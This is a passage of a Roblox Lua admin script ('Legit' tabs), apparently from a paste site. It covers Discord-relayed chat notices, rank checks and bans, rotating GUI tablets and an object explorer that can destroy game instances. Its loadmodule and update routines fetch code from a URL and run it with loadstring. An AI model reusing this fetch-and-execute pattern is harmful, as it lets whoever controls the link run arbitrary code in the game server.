- discordchat('[Legit]','An admin/developer: **'..x.Name..' has left the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(x.Name).."&width=180&height=180")
- else
- SendChat.MessageAll("[Legit]: My creator "..x.Name.." has left the server",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
- discordchat('[Legit]','My creator: **'..x.Name..' has left the server**',"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(x.Name).."&width=180&height=180")
- end
- updateevents()
- end
- end)
- startuptime=elapsedTime()
- for i,plr in pairs(plrs:GetPlayers())do
- plr.PlayerGui.DescendantAdded:connect(function(g)
- checkgui(plr,g)
- end)
- plr.Backpack.DescendantAdded:connect(function(t)
- checkbackpack(plr,t)
- end)
- if tonumber(getrank(plr))>=5 then
- alert.c('Legit v'..ver..' running',ps.color(plr),plr,4)
- alert.c('your rank: '..getrank(plr),ps.color(plr),plr,4)
- _tab('say '..prefix..'cmds'..suffix..' to get your commands',ps.color(plr),plr,function()dmp(plr)chat("cmds",plr)end,'',4)
- end
- if getrank(plr)==-1 or inTable(banlist,plr.Name)then Kick(plr) end
- end
- alert.g('you are a admin!',4)
- updateevents()
- local function QuaternionFromCFrame(cf)
- local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components();
- local trace = m00 + m11 + m22 if trace > 0 then
- local s = math.sqrt(1 + trace);
- local recip = 0.5/s;
- return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5;
- else
- local i = 0;
- if m11 > m00 then
- i = 1;
- end;
- if m22 > (i == 0 and m00 or m11) then
- i = 2 end if i == 0 then
- local s = math.sqrt(m00-m11-m22+1);
- local recip = 0.5/s return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip;
- elseif i == 1 then
- local s = math.sqrt(m11-m22-m00+1);
- local recip = 0.5/s;
- return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip ;
- elseif i == 2 then
- local s = math.sqrt(m22-m00-m11+1);
- local recip = 0.5/s;
- return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip;
- end;
- end;
- end;
- local function QuaternionToCFrame(px, py, pz, x, y, z, w)
- local xs, ys, zs = x + x, y + y, z + z;
- local wx, wy, wz = w*xs, w*ys, w*zs;
- local xx = x*xs;
- local xy = x*ys;
- local xz = x*zs;
- local yy = y*ys;
- local yz = y*zs;
- local zz = z*zs;
- return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
- end;
- local function QuaternionSlerp(a, b, t)
- local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4];
- local startInterp, finishInterp;
- if cosTheta >= 0.0001 then
- if (1 - cosTheta) > 0.0001 then
- local theta = math.acos(cosTheta);
- local invSinTheta = 1/math.sin(theta);
- startInterp = math.sin((1-t)*theta)*invSinTheta;
- finishInterp = math.sin(t*theta)*invSinTheta;
- else
- startInterp = 1-t finishInterp = t;
- end;
- else
- if (1+cosTheta) > 0.0001 then
- local theta = math.acos(-cosTheta);
- local invSinTheta = 1/math.sin(theta);
- startInterp = math.sin((t-1)*theta)*invSinTheta;
- finishInterp = math.sin(t*theta)*invSinTheta;
- else startInterp = t-1 finishInterp = t;
- end;
- end;
- return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp;
- end;
- function CLerp(a,b,t)
- local qa={QuaternionFromCFrame(a)};
- local qb={QuaternionFromCFrame(b)};
- local ax,ay,az=a.x,a.y,a.z;
- local bx,by,bz=b.x,b.y,b.z;
- local _t=1-t;
- return QuaternionToCFrame(_t*ax+t*bx,_t*ay+t*by,_t*az+t*bz,QuaternionSlerp(qa, qb, t));
- end
- spawn(function()
- local rot = 0
- while enabled do
- rot = rot + .001
- for i,v in pairs(tabs)do
- if plrs:FindFirstChild(i)then else
- for o,b in pairs(v)do
- rem(b)
- end
- tabs[i]=nil
- end
- end
- for Index, Player in pairs(Players:GetPlayers()) do
- if not tabs[Player.Name]then tabs[Player.Name]={}end
- pcall(function()
- for x = 1, #tabs[Player.Name] do
- if tabs[Player.Name][x] == nil or tabs[Player.Name][x].Parent == nil or tabs[Player.Name][x].Name=='x' or tabs[Player.Name][x].Name == nil or plrs[Player.Name]==nil then
- table.remove(tabs[Player.Name], x)
- end
- end
- end)
- local rotstylez=ds.get(Player.Name,'rot')
- local bt=0
- if datastores then if ps.wave(Player.Name)==true then bt=1 end end
- local tn=#tabs[Player.Name]
- if rotstylez:sub(1,1)=='l'then
- for x = 1, #tabs[Player.Name] do--------------------------------------------------------------------------------* CFrame.Angles(0, math.rad(360 / #tabs[Player.Name])---------------------------------- * CFrame.new(-5 - (1.2 * #tabs[Player.Name]), math.sin(tick()), 0)
- local tb=tabs[Player.Name][x]
- if Player.Character.Parent~=nil then if Player.Character:FindFirstChild'Torso' then
- facet=6
- local cftp=CFrame.new(Player.Character.Torso.Position)
- local ddr=((#tabs-(#tabs%facet))/facet)+(#tabs%facet)
- local meg=x
- repeat meg=meg-facet ddr=ddr+1 until meg<facet if meg>0 then ddr=ddr+1 end
- local megic =CFrame.Angles(0,math.rad((360/facet)*(x%facet)+rot*600),0)
- local tp=CFrame.new(Player.Character.Torso.Position+(megic.lookVector*ddr*6))
- local mst=math.sin(tick())
- local mct=math.cos(tick())
- local rx = mst
- local ry = mct
- local rz = 0
- if rotstylez=='lrand' then tp=tp*CFrame.Angles(rx,ry,rz)end
- if tb.Name~='x'then
- tb.CFrame = CLerp(tb.CFrame, tp , .25)
- end
- end;end
- end
- else
- for x = 1, tn do--------------------------------------------------------------------------------* CFrame.Angles(0, math.rad(360 / #tabs[Player.Name])---------------------------------- * CFrame.new(-5 - (1.2 * #tabs[Player.Name]), math.sin(tick()), 0)
- if Player.Character then if Player.Character:FindFirstChild'Torso'~=nil then
- local cftp=CFrame.new(Player.Character.Torso.Position)
- local tb=tabs[Player.Name][x]
- local radius=1.4*((tn)*.4)+4;
- local rzz=(360/tn)*x
- local xp=math.cos(((x/tn)-tn*2)*2*math.pi)*radius
- local yp = math.sin(tick()/math.pi+((x)*bt))
- local zp=math.sin(((x/tn)-tn*2)*2*math.pi)*radius--(math.sin((x/tn-(tn)+rot)*math.pi*2)*radius)
- local mst=math.sin(tick())
- local mct=math.cos(tick())
- local rx = mst
- local ry = mct
- local rz = 0
- local tp=cftp*CFrame.Angles(0,rot,0)*(CFrame.new(xp,yp,zp):inverse())--:toWorldSpace(CFrame.new(xp,yp,zp):inverse())--*CFrame.Angles(math.pi/180*2,math.pi/180*2,math.pi/180*2);
- if rotstylez=='circlerand'then tp=tp*CFrame.Angles(rx,ry,0)end
- if rotstylez=='flattab'then tp=tp*CFrame.Angles(0,-math.rad(rzz),0.4)end
- if tb.Name~='x'then
- tb.CFrame = CLerp(tb.CFrame, tp , .25)
- else
- tb.CFrame = CLerp(tb.CFrame, cftp , .25)
- end
- end;end
- end
- end
- end
- wait()
- end
- end)
- coroutine.wrap(function()
- while (wait(0)) do
- for _,player in pairs(plrs:GetPlayers()) do
- if not player.PlayerGui:FindFirstChild("MLG_CmdRemote1") then
- local commandRemote = Instance.new("StringValue", player.PlayerGui)
- commandRemote.Name = "MLG_CmdRemote1"
- commandRemote.Changed:connect(function(value)
- if (value ~= "") then
- runas(commandRemote.Value,player)
- commandRemote.Value = ""
- end
- end)
- if not player.PlayerGui:FindFirstChild("ForCommandBar") then
- Children.ForCommandBar:Clone().Parent = player.PlayerGui
- end
- end
- end
- banList = (banStore:GetAsync(banKey) or {});
- for _, plyr in ipairs(game:service'Players':GetPlayers()) do
- local banData = banList[tostring(plyr.UserId)];
- if (banData) then
- plyr:Kick("Banned by: " .. banData.BannedBy .. " - Days banned: " .. banData.Duration .. " - Reason: " .. banData.Reason);
- end
- end
- wait(15);
- end
- end)();
- --[[
- end]]
- --[[remmy=false
- function removeothermusic()
- remmy=true
- while remmy do
- wait(2)
- m.stopmusico(workspace,true)
- end
- end]]
- loadmodule=function(link)
- local run,error=ypcall(function()
- local SHttp = game:GetService("HttpService")
- loadstring(SHttp:GetAsync(link,true) ) ()
- wait(.05)
- end)
- if not run then print(error) end
- end
- repeat wait()until not enabled
- print'Saving ranks,music and others'
- wait(2)
- print'Saved all'
- wait()
- wait(1.3)
- print'Confirming.'
- wait(1,3)
- print'Confirming..'
- wait(1.3)
- print'Confirming...'
- print'Legit tabs have fully been disabled'
- delay(0,function()
- if update then
- local run,error=ypcall(function()
- local Link = me
- local SHttp = game:GetService("HttpService")
- loadstring(SHttp:GetAsync(Link,true) ) ()
- wait(.05)
- end)
- if not run then print(error) end
- end
- end)
- --[[
- explore = function(player, obj)
- dmp (player);
- if (not obj) then
- _tab('Credit to tusKOr661 for making explore function <3','Hot pink',player)
- for i, v in next, {'Workspace'; 'Players'; 'Lighting'; 'ReplicatedStorage';} do
- _tab(v, (tostring(BrickColor.random())), player, function()
- explore(player, game:service(v));
- end);
- end;
- return;
- end;
- _tab('Destroy', 'Really red', player, function()
- local objParent = obj.Parent;
- if (pcall(game.Destroy, obj)) then
- explore(player, objParent);
- else
- _tab('Failed to destroy object', 'Lime green', player);
- end;
- end);
- _tab('Redirect to parent', 'Teal', player,function()
- if (obj.Parent ~= nil) then
- explore(player, obj.Parent);
- end;
- end);
- _tab('Redirect to children', 'Lime green', player, function()
- dmp(player);
- for i, v in next, obj:getChildren() do
- _tab(v.Name, 'Lime green', player, function()
- explore(player, v);
- end);
- end;
- end);
- -- end of functions tablets
- _tab('Name: ' .. obj.Name, 'Institutional white', player);
- _tab('FullName: ' .. obj:getFullName(), 'Institutional white', player);
- _tab('Parent: ' .. tostring(obj.Parent), 'Institutional white', player);
- _tab('ClassName: ' .. obj.ClassName, 'Institutional white', player);
- --You can add more information tablets here
- end;
- --]]
- SendChat.MessageAll("[Legit]: Loaded ",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
- addcmd('explore', 'explores the game', 2,0, function(spkr) explore(spkr); end);
- for _,v in pairs(game:GetChildren()) do
- v.DescendantAdded:connect(function(obj)
- if obj.ClassName == "Script" then
- if Blocker.GlobalBlock == true then
- obj.Disabled = true
- obj:Destroy()
- end
- elseif obj.ClassName == "MainModule" then
- if Blocker.LocalBlock == true then
- obj.Disabled = true
- obj:Destroy()
- end
- end
- end)
- end
- --]]
- --end)
- return 0;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement